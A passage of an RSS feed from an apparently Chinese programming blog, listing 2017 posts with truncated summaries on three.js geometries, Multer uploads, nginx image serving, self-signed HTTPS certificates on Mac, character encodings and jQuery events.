box排在前面，在MP4在设备上生成的时候或传到服务器上后进行 这个方法一劳永逸，还能提升秒开的速度 工具: ffmpeg option faststart qt-faststart Thanks</description>
    </item>
    <item>
      <title>基于ES6的移动（拖动）元素的插件(2)</title>
      <link>https://bchobby.github.io/posts/facf2e58e08d021f3d9683a4de79b2d8/</link>
      <pubDate>Sat, 16 Dec 2017 15:44:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/facf2e58e08d021f3d9683a4de79b2d8/</guid>
      <description>下载&amp;amp;说明地址：https://github.com/gonghongchen/MoveJS DEMO地址：https://gonghongchen.github.io/MoveJS/&#xA;这个相对于上一个移动元素的插件有如下区别： 1.上一个插件固定了移动元素的移动范围为浏览器可视窗口内，而这个版本可以通过设置移动元素的父级元素以实现自定义的移动范围； 2.上一个插件可以自定义移动时光标的放置位置，而这个版本则直接设置了在移动时光标的位置即移动元素本身；（这句话我估计没表达清楚，请详见于两个插件的DEMO） 3.上一个是基于ES5的，这个是基于ES6的，所以在用这个的时候注意（可能）需要使用Babel（可见DEMO源码）进行编译哦，当然，建议直接使用另一个ES5的版本； 4.上一个插件的兼容在IE中做到了IE7，至于这个嘛，目前IE9+。&#xA;当然了，两个插件的共同点就是：JS源码里面都有注释，都有注释，注释……</description>
    </item>
    <item>
      <title>three.js 05-05 之 SphereGeometry 几何体</title>
      <link>https://bchobby.github.io/posts/7498876d404e4b3e6cdefd82a11cd7e1/</link>
      <pubDate>Fri, 15 Dec 2017 11:20:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7498876d404e4b3e6cdefd82a11cd7e1/</guid>
      <description>本篇将要介绍的 SphereGeometry 球体是 three.js 中较简单的另一种几何体。先看看球体常用的几个属性，如下表所示：&#xA;属性描述radius可选。此属性定义球体的半径。widthSegments可选。此属性定义球体竖直（维度）方向上的分段数。默认值是 8，最小值是 3heightSegments可选。此属性定义球体水平（经度）方向上的分段数。默认值是 6，最小值是 2phiStart可选。此属性定义从 x 轴的什么地方开始绘制。取值范围是 0 到 2*πphiLength可选。此属性定义从 phiStart 开始绘制多少。取值范围是 0 到 2*πthetaStart可选。此属性定义从 y 轴的什么地方开始绘制。取值范围是 0 到 πthetaLength可选。此属性定义从 thetaStart 开始绘制多少。取值范围是 0 到 π。一个 π 是整球，0.5*π只绘制上半球 这个几何体也是比较简单，下面给出具体示例，代码如下： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 05.05 - SphereGeometry&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象的样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>Multer 文件上传</title>
      <link>https://bchobby.github.io/posts/ed8c4950cc0cdf438ae0876b1fa2acee/</link>
      <pubDate>Fri, 15 Dec 2017 10:58:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed8c4950cc0cdf438ae0876b1fa2acee/</guid>
      <description>express 默认并不会处理HTTP请求体中的数据，对于普通请求体(JSON、二进制、字符串)数据，可以使用 body-parse 中间件。而文件上传(multeipart/form-data请求),可以基于请求流处理，也可以使用 formidable 模板或者 Multer 中间件。&#xA;multer中间件 Multer 是express官方推出的，用于 Node.js multipart/form-data 请求数据处理的中间件。它可以高速的处理文件上传，但并不处理 multipart/form-data 之外的用户请求。&#xA;安装&#xA;npm install multer --save Multer 在解析完请求体后，会向 request 对象添加一个body对象和一个file或者files对象（上传多个文件时使用files对象）。其中body对象包含所提交表单中的文本字段（如果有），而file（或files）对象中包含通过表单上传的文件。&#xA;基本用法如下&#xA;var express = require(&#34;express&#34;) var multer = require(&#34;multer&#34;) var upload = multer({dest:&#39;uploads/&#39;})//告诉Multer将上传文件保存在哪里 var app = express() app.post(&#39;/profile&#39;,upload.single(&#39;avatar&#39;),(req,res,next)=&amp;gt;{ //req.file &#39;avatar&#39;文件的信息 //req.body 将具有文本域数据，如果存在的话 }) app.post(&#39;/photos/upload&#39;,upload.array(&#39;photos&#39;,12),function(req,res,next) =&amp;gt; { //req.files 是 &#39;photos&#39; 文件数组的信息 //req.body 将具有文本域数据，如果存在的话 }) var cpUpload = upload.fields([{name:&#39;avatar&#39;,maxCount:1},{name:&#39;gallery&#39;,maxCount:8}]) app.post(&#39;/cool-profile&#39;,cpUpload,(req,res,next) =&amp;gt; { //req.files 是一个对象(String -&amp;gt; Array) 键是文件名，值是文件数组 //例如： //req.</description>
    </item>
    <item>
      <title>three.js 05-03 之 ShapeGeometry 几何体</title>
      <link>https://bchobby.github.io/posts/3afdb5adf803ee27b909fdec1f2d38bc/</link>
      <pubDate>Thu, 14 Dec 2017 18:30:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3afdb5adf803ee27b909fdec1f2d38bc/</guid>
      <description>本篇我们来介绍 ShapeGeometry 几何体。通过前两篇的介绍，我们会发现 PlaneGeometry 和 CircleGeometry 都只有有限的方法来定制他们的外观。如果我们想创建一个自定义的二维图形，那么就只能依靠今天要讲的 ShapeGeometry 了。&#xA;为了使用 ShapeGeometry，我们首先需要通过 THREE.Shape 创建一个自定义的基本形状，然后把它作为参数传递给 ShapeGeometry 构造函数。因此，我们先来看看如何使用 THREE.Shape 创建自定义的基本形状，代码片段如下：&#xA;function drawShape() { var shape = new THREE.Shape(); shape.moveTo(10, 10); // moveTo( x, y ) shape.lineTo(10, 40); // lineTo( x, y ) - 线 shape.bezierCurveTo(15, 25, 25, 25, 30, 40); // bezierCurveTo( cp1X, cp1Y, cp2X, cp2Y, x, y ) - 贝塞尔曲线 shape.splineThru([ new THREE.Vector2(32, 30), new THREE.Vector2(28, 20), new THREE.Vector2(30, 10) ]); // splineThru ( vector2Array ) - 样条线 shape.</description>
    </item>
    <item>
      <title>webstorm通过git把代码上传到码云。</title>
      <link>https://bchobby.github.io/posts/596a40d48aafb526d90451d89588f27c/</link>
      <pubDate>Thu, 14 Dec 2017 17:06:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/596a40d48aafb526d90451d89588f27c/</guid>
      <description> 项目代码放到哪里最安全呢？？？ 估计每个公司都有自己的备用服务器，放到自己服务器是比较好的。 可是大家都往里面备份代码，也是挺麻烦的。所以，我还是选择放到码云上面。不要问我为什么不放到GitHub？&#xA;毕竟有的项目需要大家共同开发，所以放到码云也算是方便的大家写好提交到统一的仓库就可以。&#xA;我使用的工具是webstorm,毕竟我暂时是负责前端的，所以主力开发工具还是这个家伙。&#xA;在码云上新建一个项目，这里就不多说了，只说，最简单的把代码上传到码云。 打开webstorm, 打开菜单栏的VCS，选择checkout from version control 再选择git.出现下面的界面。 先同步一下码云项目上的代码，让版本统一。再把写好的代码放到刚才clone下的项目里面提交到码云上。&#xA;第一步，本地提交。提交代码直接是在项目下右键选择git,写好描述，直接commit,一路commit。 第二步，提交到码云上。 </description>
    </item>
    <item>
      <title>解决AaptParser: aapt dump badging stderr: aapt: error while loading shared libraries: libc&#43;&#43;.so</title>
      <link>https://bchobby.github.io/posts/34e93fbac5187f1cc6bd3fe96719ea8e/</link>
      <pubDate>Thu, 14 Dec 2017 16:41:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34e93fbac5187f1cc6bd3fe96719ea8e/</guid>
      <description>问题描述：&#xA;在ubuntu下做cts测试时候跑某些case提示AaptParser: aapt dump badging stderr: aapt: error while loading shared libraries: libc++.so: cannot open shared object file: No such file or directory，导致case失败。&#xA;原因分析：&#xA;使用其他电脑确保可以通过的版本也是如此，可以确定是本地电脑环境问题，单独执行aapt也报相同问题，进一步确定是aapt的执行环境问题，在建立aosp编译环境后的目录下aapt是可以正常执行的。通过which命令查看，aosp和cts两个环境调用的aapt不是一个路径，aosp的上级目录有libc++.so文件，而cts对应的~/bin/目录却没没有。&#xA;解决方法：&#xA;把aosp的out目录或者Sdk/build-tools/目录下libc++.so或者对应文件夹拷贝到aapt目录下，重新执行aapt，结果正常。</description>
    </item>
    <item>
      <title>three.js 05-01 之 PlaneGeometry 几何体</title>
      <link>https://bchobby.github.io/posts/8f8ff4e534efab684d0c6b615ef21d43/</link>
      <pubDate>Thu, 14 Dec 2017 09:55:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f8ff4e534efab684d0c6b615ef21d43/</guid>
      <description>three.js 库中的材质就已经基本上介绍完了。本篇开始我们将逐个深入 three.js 中各种几何体的细节。在 three.js 中，常用的几何体包括：&#xA;二维几何体：&#xA;PlaneGeometry 平面CircleGeometry 圆形ShapeGeometry 塑形 三维几何体： BoxGeometry 立方体（或叫三维方块）SphereGeometry 球体CylinderGeometry 柱体TorusGeometry 圆环TorusKnotGeometry 环面扭结PolyhedronGeometry 多面体IcosahedronGeometry 十二面体OctahedronGeometry 八面体TetrahedronGeometry 四面体 复杂几何体： ConvexGeometry 凸面体LatheGeometry 扫描面ExtrudeGeometry 拉伸几何体TubeGeometry 管状体ParametricGeometry 参数几何体TextGeometry 文本几何体 我们先来看看第一个 PlaneGeometry 二维平面，常用的属性如下表所示： 属性描述width （宽度）必选。此属性指定矩形的宽度height （高度）必选。此属性指定矩形的高度widthSegments （宽度段数）可选。此属性指定矩形的宽度应该划分成多少段来表示heightSegments （高度段数）可选。此属性指定矩形的高度应该划分成多少段来表示 这种几何体非常简单，只要指定尺寸就可以了。如果你想创建一种由多个方格组成的样式，那你可以使用 widthSegments 和 heightSegments 属性将矩形划分成多个小面，从而达到你想要的目的。由于比较简单，不在过多嗷述，下面直接给出一个具体的示例： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 05.01 - PlaneGeometry&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象的样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>集合中的（交集，并集，差集，补集，对称差集）</title>
      <link>https://bchobby.github.io/posts/3087d1fbcd26f4d825bc67c8566862a4/</link>
      <pubDate>Wed, 13 Dec 2017 20:43:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3087d1fbcd26f4d825bc67c8566862a4/</guid>
      <description> </description>
    </item>
    <item>
      <title>AD PCB 错误检查</title>
      <link>https://bchobby.github.io/posts/529120fd717c455db7702affb41c3376/</link>
      <pubDate>Wed, 13 Dec 2017 15:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/529120fd717c455db7702affb41c3376/</guid>
      <description>1、可在tool----&amp;gt;rule check(设计规则检查)&#xA;运行ORC 后可以看到所有错误&#xA;2、在某个发生错误的元件上，右键-----&amp;gt;冲突（倒数第三个） 可以显示该元件的错误&#xA;转载于:https://www.cnblogs.com/ldcb/p/8033103.html</description>
    </item>
    <item>
      <title>字符编码：Unicode、UTF-8、GBK</title>
      <link>https://bchobby.github.io/posts/3f044328ac9ed9c57de63b76866e44af/</link>
      <pubDate>Wed, 13 Dec 2017 11:58:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f044328ac9ed9c57de63b76866e44af/</guid>
      <description>原文站点：https://senitco.github.io/2017/06/06/character-encoding/&#xA;简单总结各种字符集(Ascii、Unicode、GB2312)、编码(UTF8、GBK)以及不同编码之间的转换。 字符集(Charcater Set)与字符编码(Encoding) 字符集(Charcater Set 或 Charset)：是一个系统支持的所有抽象字符的集合，也就是一系列字符的集合。字符是各种文字和符号的总称，包括各国家文字、标点符号、图形符号、数字等。常见的字符集有： ASCII 字符集、Unicode 字符集等。 字符编码(Character Encoding)：是一套法则，使用该法则能够对自然语言的字符的一个字符集（如字母表或音节表），与计算机能识别的二进制数字进行配对。即它能在符号集合与数字系统之间建立对应关系，是信息处理的一项基本技术。通常人们用符号集合（一般情况下就是文字）来表达信息，而计算机的信息处理系统则是以二进制的数字来存储和处理信息的。字符编码就是将符号转换为计算机能识别的二进制编码。 一般一个字符集等同于一个编码方式，ANSI 体系( ANSI 是一种字符代码，为使计算机支持更多语言，通常使用 0x80~0xFF 范围的 2 个字节来表示 1 个字符)的字符集如 ASCII、ISO 8859-1、GB2312、 GBK 等等都是如此。一般我们说一种编码都是针对某一特定的字符集。一个字符集上也可以有多种编码方式，例如 UCS 字符集(也是 Unicode 使用的字符集)上有 UTF-8、UTF-16、UTF-32 等编码方式。 从计算机字符编码的发展历史角度来看，大概经历了三个阶段： - 第一个阶段：ASCII 字符集和 ASCII 编码。 计算机刚开始只支持英语(即拉丁字符)，其它语言不能够在计算机上存储和显示。ASCII 用一个字节( Byte )的 7 位(bit)表示一个字符，第一位置 0。后来为了表示更多的欧洲常用字符又对 ASCII 进行了扩展，又有了 EASCII，EASCII 用 8 位表示一个字符，使它能多表示 128 个字符，支持了部分西欧字符。 - 第二个阶段：ANSI 编码（本地化） 为使计算机支持更多语言，通常使用 0x80~0xFF 范围的 2 个字节来表示 1 个字符。比如：汉字 ‘中’ 在中文操作系统中，使用 [0xD6,0xD0] 这两个字节存储。 不同的国家和地区制定了不同的标准，由此产生了 GB2312, BIG5, JIS 等各自的编码标准。这些使用 2 个字节来代表一个字符的各种汉字延伸编码方式，称为 ANSI 编码。在简体中文系统下，ANSI 编码代表 GB2312 编码，在日文操作系统下，ANSI 编码代表 JIS 编码。 不同 ANSI 编码之间互不兼容，当信息在国际间交流时，无法将属于两种语言的文字，存储在同一段 ANSI 编码的文本中。 - 第三个阶段：UNICODE（国际化） 为了使国际间信息交流更加方便，国际组织制定了 UNICODE 字符集，为各种语言中的每一个字符设定了统一并且唯一的数字编号，以满足跨语言、跨平台进行文本转换、处理的要求。UNICODE 常见的有三种编码方式:UTF-8、UTF-16、UTF-32。 下面是用一个树状图表示的由ASCII发展而来的各个字符集和编码的分支： ASCII、Unicode字符集 ASCII码 在计算机内部，所有的信息最终都表示为一个二进制的字符串。每一个二进制位（bit）有0和1两种状态，因此八个二进制位就可以组合出256种状态，这被称为一个字节（byte）。也就是说，一个字节一共可以用来表示256种不同的状态，每一个状态对应一个符号，就是256个符号，从0000000到11111111。ASCII码一共规定了128个字符的编码，比如空格”SPACE”是32（二进制00100000），大写的字母A是65（二进制01000001）。这128个符号（包括32个不能打印出来的控制符号），只占用了一个字节的后面7位，最前面的1位统一规定为0。</description>
    </item>
    <item>
      <title>getMethods、getMethod和invoke()方法的使用</title>
      <link>https://bchobby.github.io/posts/6759b4771740bc09fb7f2cc862c28453/</link>
      <pubDate>Tue, 12 Dec 2017 18:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6759b4771740bc09fb7f2cc862c28453/</guid>
      <description>package cclass; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; class He { public String show() { return &#34;是个人&#34;; } public String show(String name) { return name + &#34;是个人&#34;; } public String friend(String name, String meFriend) { return meFriend + &#34;是&#34; + name + &#34;的朋友&#34;; } public String friend(String name, String meFriend, String[] friend) { StringBuffer string = new StringBuffer(meFriend + &#34;是&#34; + name + &#34;的朋友&#34; + name + &#34;还有一些朋友比如：&#34;); for (String str : friend) { string.</description>
    </item>
    <item>
      <title>在本地开发环境(Mac)中安装自签名证书，启用https</title>
      <link>https://bchobby.github.io/posts/46ea7af6658207eefc7095254184dd70/</link>
      <pubDate>Tue, 12 Dec 2017 09:09:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ea7af6658207eefc7095254184dd70/</guid>
      <description>0. 前言 今天一大早上班Chrome浏览器提示已经自动升级（Version 63）需要重启浏览器，重启之后发现本地的开发环境打开不，原因是新版的浏览器强制将http转换成https了，而我本地的开发环境没有启用https。解决方案有两种：&#xA;将本地开发环境的域名（例如test.local）加入浏览的一个白名单，告诉浏览器该域名不需要强制启用https.在本地生成一个自签名证书，并启用https. 第一种方式比较简单，在浏览器地址栏中输入chrome://net-internals/#hsts。在Delete domain 栏的输入框中输入要http访问的域名，然后点击delete地按钮，即可完成配置。然后你可以在Query domain栏中搜索刚才输入的域名，点击逗query地按钮后如果提示逗Not found即为成功。但是，我同事们用此方法都成功了，就我没有成功，无奈。。。遂研究第二种解决方案。&#xA;对于第二种解决方案，网上找了几个中文教程，但是新版本的浏览器已经不再适用。最后还是在强大的Google的帮助下找到此篇英文博客。https://deliciousbrains.com/https-locally-without-browser-privacy-errors/ 有兴趣的可以阅读原文，本文也并没有逐字翻译原文。教程也只适用于Mac系统，Windows系统还没有研究。&#xA;本教程假设本地域名为test.local&#xA;1. 生成自签名证书 创建生成证书所需的配置文件 创建生成证书所需的配置文件，文件内容如下：&#xA;[ req ] default_bits = 2048 default_keyfile = server-key.pem distinguished_name = subject req_extensions = req_ext x509_extensions = x509_ext string_mask = utf8only [ subject ] countryName = Country Name (2 letter code) countryName_default = US stateOrProvinceName = State or Province Name (full name) stateOrProvinceName_default = NY localityName = Locality Name (eg, city) localityName_default = New York organizationName = Organization Name (eg, company) organizationName_default = Example, LLC commonName = Common Name (e.</description>
    </item>
    <item>
      <title>three.js 04-09 之 LineBasicMaterial 材质</title>
      <link>https://bchobby.github.io/posts/802ed61e0a62d66ddab01cac843bb4c7/</link>
      <pubDate>Mon, 11 Dec 2017 18:18:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/802ed61e0a62d66ddab01cac843bb4c7/</guid>
      <description>关于 three.js 中的材质部分介绍就快讲完了。接下来要介绍关于线段几何的两种材质：LineBasicMaterial 和 LineDashedMatertial。如下所示：&#xA;LineBasicMaterial：通过线段基础材质，可以设置线段的颜色、宽度、断点及连接点等属性；LineDashedMaterial：跟 LineBasicMaterial 基本一样，但是通过指定短划线和间隔长度，可以创建出虚线效果； 我们先来介绍一下 LineBasicMaterial 材质，可用的常用属性如下表所示：&#xA;属性描述color指定线的颜色。如果指定了 vertexColors，这个属性就会被忽略linewidth指定线的宽度lineCap此属性定义顶点间的线段端点如何显示。可选的值包括：butt（平）、round（圆）、square（方）。默认值是 round。WebGLRenderer 不支持该属性lineJoin此属性定义线段连接点如何显示。可选的值包括：round（圆）、bevel（斜切）、miter（尖角）。默认值是 round。WebGLRenderer 不支持该属性vertexColors如果将这个属性设定为 THREE.VertexColors 值时，就可以为每一个顶点指定一种颜色fog此属性指定当前物体是否受全局雾化效果的影响 由于这种材质使用起来比较简单，因此，不在过多嗷述。下面给出一个完整的示例，代码如下： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 04.09 - LineBasicMaterial&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象的样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>关于Unicode</title>
      <link>https://bchobby.github.io/posts/7520603d339681c716b37fddacd2c238/</link>
      <pubDate>Mon, 11 Dec 2017 11:22:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7520603d339681c716b37fddacd2c238/</guid>
      <description>记得之前写过，但没找到，应该是自己记错了吧&#xA;Unicode 基本概念网上很容易得到，就是全球统一的字符集 UCS-1, UCS-2，UCS-4(实际上是没有UCS-1的，但ascii可以当成是UCS-1)，分别是占用一个字节，两个字节，4个字节的表示。&#xA;Python3内存中存的字符串默认都为unicode，并且做了如下优化。如果字符串中最高含有UCS-4字符，那么每个字符串都占用4个字节，否则如果有UCS-2，那么占用两个字节。否则占用1个。&#xA;Go中字符串均以utf-8来存储，想要转化为unicode需要尽心rune操作。&#xA;utf-8 utf-8相对于unicode来说设计的就比较合理，文本中存储方式一般也是以utf-8方式存储。utf-8占用情况从一个字节到6个字节不等。因为特殊的编码规则，所以不需要统一的字符占用数，需要一个就存一个，需要三个就存三个，这样一来就大幅节省了内存占用空间。 比如英文字母就占用一个字节的空间，中文大多都是占用三个字节的空间，所以从使用上来说，utf-8是非常好用的。这也是utf-8现在成为主流的原因之一。</description>
    </item>
    <item>
      <title>利用nginx搭建简单图片服务器实现负载均衡</title>
      <link>https://bchobby.github.io/posts/8c4c2ec49a9b8dbe98121b5f305e3cc3/</link>
      <pubDate>Sun, 10 Dec 2017 00:11:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c4c2ec49a9b8dbe98121b5f305e3cc3/</guid>
      <description>在我们搭建一个网站的时候，往往有时候会加载更多的图片，如果都从tomcat服务器来获取静态资源，这样会增加我们服务器的负载，使得服务器运行 速度非常慢，这时我们可以使用nginx服务器来加载这些静态资源，这样就可以实现负载均衡，为我们的Tomcat服务器减压了。一般大型网站都这么干，他们有单独的图片服务器，这里我们在本地利用nignx来搭建一个简单的图片服务器。&#xA;一、安装nignx&#xA;nignx是绿色版本的，只要到官网下载解压既可启动，解压目录图如下所示：&#xA;这里我们可以通过命令行start nignx.exe来启动服务器，也可以通过bat批处理文件来启动，打开批处理文件简单处理一下就 可以启动了：&#xA;上面的两种方式都可以启动服务器，当我们启动一下服务器我们来简单测试一下，在浏览器输入localhost访问，你可以看见一个简单nignx服务器欢迎页面。&#xA;下面，我们着重讲解一下nignx的配置文件，在conf目录下，打开nignx.conf文件，nginx.conf由多个块组成，最外面的块是main，main包含events和http,http包含多个upstream和多个server，server又包含多个location：&#xA;main（全局设置）、server（虚拟主机设置）、upstream（负载均衡服务器设置）和 location（URL匹配特定位置的设置）。&#xA;1.main块设置的指令将影响其他所有设置；&#xA;2.server块的指令主要用于指定主机和端口；&#xA;3.upstream指令主要用于负载均衡，设置一系列的后端服务器；&#xA;4.location块用于匹配网页位置。&#xA;这四者之间的关系式：server继承main，location继承server，upstream既不会继承其他设置也不会被继承。&#xA;在这四个部分当中，每个部分都包含若干指令，这些指令主要包含Nginx的主模块指令、事件模块指令、HTTP核心模块指令，同时每个部分还可以使用其他HTTP模块指令，例如Http SSL模块、HttpGzip Static模块和Http Addition模块等。&#xA;通过上面的简单的讲解我们了解了一下nignx的配置文件，现在我们来具体看一下它的内容并且开始配置：&#xA;server { listen 80; server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; location / { root html; index index.html index.htm; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } # proxy the PHP scripts to Apache listening on 127.</description>
    </item>
    <item>
      <title>as打开时出现The environment variable JAVA_HOME (with The value of C:\Java\jdk1.8.0_101\bin) does not poin</title>
      <link>https://bchobby.github.io/posts/f4fd2c3523c6f386307df71ec027a0f1/</link>
      <pubDate>Sat, 09 Dec 2017 19:27:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4fd2c3523c6f386307df71ec027a0f1/</guid>
      <description>as打开时出现The environment variable JAVA_HOME (with The value of C:\Java\jdk1.8.0_101\bin) does not point to a valid JVM installation.&#xA;提示环境变量JAVA_HOME的值为C:\Java\jdk1.8.0_101\bin，与虚拟机安装路径不一致&#xA;因为JAVA_HOME=C:\Java\jdk1.8.0_101\bin 所以jdk安装在C:\Java\jdk1.8.0_101下，把JAVA_HOME的值改为C:\Java\jdk1.8.0_101（JDK安装目录）即可</description>
    </item>
    <item>
      <title>内容超过div的长度后自动出现滚动条的实现方法</title>
      <link>https://bchobby.github.io/posts/6e4d6221ecdacaa1ec1deea6b6d27f08/</link>
      <pubDate>Thu, 07 Dec 2017 23:14:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e4d6221ecdacaa1ec1deea6b6d27f08/</guid>
      <description> 在该容器的DIV中添加如下样式代码&#xA;.div{ height：80%; //须设置一个合适高度 overflow:auto; } </description>
    </item>
    <item>
      <title>react中使用switch-case语句</title>
      <link>https://bchobby.github.io/posts/0ba87803b48dcdfc6c8e130cf0dda993/</link>
      <pubDate>Thu, 07 Dec 2017 23:02:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ba87803b48dcdfc6c8e130cf0dda993/</guid>
      <description> 在周期中使用switch-case&#xA;switch(this.state.color){ case &#34;1&#34;:return &amp;lt;img src={gift1}/&amp;gt;; break; case &#34;2&#34;:return &amp;lt;img src={gift2}/&amp;gt;; break; case &#34;3&#34;:return &amp;lt;img src={gift3}/&amp;gt;; break; default:return null; } 在render中使用switch-case&#xA;&amp;lt;div&amp;gt; {( ()=&amp;gt;{ switch(this.state.color){ case &#34;1&#34;:return &amp;lt;img src={gift1}/&amp;gt;; break; case &#34;2&#34;:return &amp;lt;img src={gift2}/&amp;gt;; break; case &#34;3&#34;:return &amp;lt;img src={gift3}/&amp;gt;; break; default:return null; } } )()} &amp;lt;/div&amp;gt; </description>
    </item>
    <item>
      <title>jquery获取焦点事件</title>
      <link>https://bchobby.github.io/posts/523ac1971c82eeca869bf21116659a32/</link>
      <pubDate>Thu, 07 Dec 2017 09:41:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/523ac1971c82eeca869bf21116659a32/</guid>
      <description> &amp;lt;input type=&#34;text&#34; value=&#34;请输入用户名&#34;&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;提交&#34; &amp;gt; $(function() { //focus():获取文本框的焦点 $(&#34;input:text&#34;).focus(function() { if ($(this).val() == &#34;请输入用户名&#34;){ $(this).val(&#34;&#34;); } }); //设置按钮只能点击一次 $(&#34;input:button&#34;).click(function() { $(this).attr(&#34;disabled&#34;,&#34;true&#34;); }); }) </description>
    </item>
    <item>
      <title>jquery冒泡事件</title>
      <link>https://bchobby.github.io/posts/73a48ee560e73f89d051943edd8fbc7c/</link>
      <pubDate>Thu, 07 Dec 2017 09:39:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73a48ee560e73f89d051943edd8fbc7c/</guid>
      <description> 原文：http://www.jb51.net/article/84908.htm &amp;lt;body&amp;gt; &amp;lt;div id=&#34;content&#34;&amp;gt; 外层div元素 &amp;lt;span&amp;gt;内层span元素&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;info&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; $(function() { //为span元素绑定click事件 $(&#39;span&#39;).bind(&#39;click&#39;, function() { var txt = $(&#39;#info&#39;).html() + &#39;&amp;lt;p&amp;gt;内层span元素被点击&amp;lt;/p&amp;gt;&#39;; $(&#39;#info&#39;).html(txt); event.stopPropagation(); //停止事件冒泡 }); //为div元素绑定click事件 $(&#39;#content&#39;).bind(&#39;click&#39;, function() { var txt = $(&#39;#info&#39;).html() + &#39;&amp;lt;p&amp;gt;外层div元素被点击&amp;lt;/p&amp;gt;&#39;; $(&#39;#info&#39;).html(txt); return false;//停止事件冒泡 }); //为body元素绑定click事件 $(&#39;body&#39;).bind(&#39;click&#39;, function() { var txt = $(&#39;#info&#39;).html() + &#39;&amp;lt;p&amp;gt;body元素被点击&amp;lt;/p&amp;gt;&#39;; $(&#39;#info&#39;).html(txt); }); }); /*当你单击‘内层span元素&#39;时，即触发&amp;lt;span&amp;gt;元素的click事件时，会输出3条记录 即： 内层span元素被点击 外层div元素被点击 body元素被点击 这就是事件冒泡引起的 */ /* 阻止冒泡事件：click事件中添加 return false 或 event.stopPropagation(); */ </description>
    </item>
    <item>
      <title>three.js 04-04 之 MeshFaceMaterial 材质</title>
      <link>https://bchobby.github.io/posts/ffa54f7ab64fefe1ff8b4bb58ca30b48/</link>
      <pubDate>Wed, 06 Dec 2017 15:43:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffa54f7ab64fefe1ff8b4bb58ca30b48/</guid>
